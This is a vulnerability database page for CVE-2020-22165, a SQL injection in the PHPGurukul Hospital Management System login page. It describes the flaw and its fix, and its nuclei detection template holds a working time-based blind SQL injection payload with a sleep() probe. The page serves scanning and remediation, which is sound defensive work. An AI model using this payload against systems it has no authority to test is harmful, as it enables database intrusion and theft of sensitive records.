Browse / CVEs / CVE-2020-22165
CVE-2020-22165· phpgurukul / hospital management system· CWE-89
PHPGurukul Hospital Management System 4.0 - SQL Injection
highseverity
7.5CVSS score
6.3%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it
PHPGurukul Hospital Management System in PHP v4.0 has a SQL injection vulnerability in \hms\user-login.php. Remote unauthenticated users can exploit the vulnerability to obtain sensitive database information.
Impact
Successful exploitation allows attackers to access sensitive data from the database, potentially leading to data leakage and further compromise of the application.
Fix
Upgrade to the latest version or apply proper input sanitization and parameterized queries to mitigate this vulnerability.
How to confirm it
Send: @timeout: 30s
Positive when: contains(body, "Hospital Management") and status_code == 200
Send: @timeout: 30s
Positive when: duration>=8 and status_code == 200Run it with nuclei: nuclei -id CVE-2020-22165 -u <target>
The full check
id: CVE-2020-22165
info:
name: PHPGurukul Hospital Management System 4.0 - SQL Injection
author: ritikchaddha
severity: high
description: |
PHPGurukul Hospital Management System in PHP v4.0 has a SQL injection vulnerability in \hms\user-login.php. Remote unauthenticated users can exploit the vulnerability to obtain sensitive database information.
impact: |
Successful exploitation allows attackers to access sensitive data from the database, potentially leading to data leakage and further compromise of the application.
remediation: |
Upgrade to the latest version or apply proper input sanitization and parameterized queries to mitigate this vulnerability.
reference:
- https://github.com/itodaro/PHPGurukul_Hospital_Management_System4.0_cve
- https://nvd.nist.gov/vuln/detail/CVE-2020-22165
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2020-22165
epss-score: 0.06348
epss-percentile: 0.93695
cwe-id: CWE-89
cpe: cpe:2.3:a:phpgurukul:hospital_management_system:4.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 3
vendor: phpgurukul
product: hospital_management_system
fofa-query: title="Hospital Management System" && body="HMS"
tags: cve2020,cve,hms,cms,sqli,phpgurukul,vkev,vuln
flow: http(1) && http(2)
http:
- raw:
- |
@timeout: 30s
POST /hms/user-login.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body, "Hospital Management")'
- 'status_code == 200'
condition: and
internal: true
- raw:
- |
@timeout: 30s
POST /hms/user-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username=a' and 1=2 union select 1,2,if(substring((select user() limit 0,1),1,1)='r',sleep(8),1),4,5,6,7,8,9#&password=asfsafafsafsaf&submit=1&submit=
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- 'duration>=8'
- 'status_code == 200'
condition: andReferences
- https://github.com/itodaro/PHPGurukul_Hospital_Management_System4.0_cve
- https://nvd.nist.gov/vuln/detail/CVE-2020-22165
Use this check only on systems you are authorised to test. Where the data comes from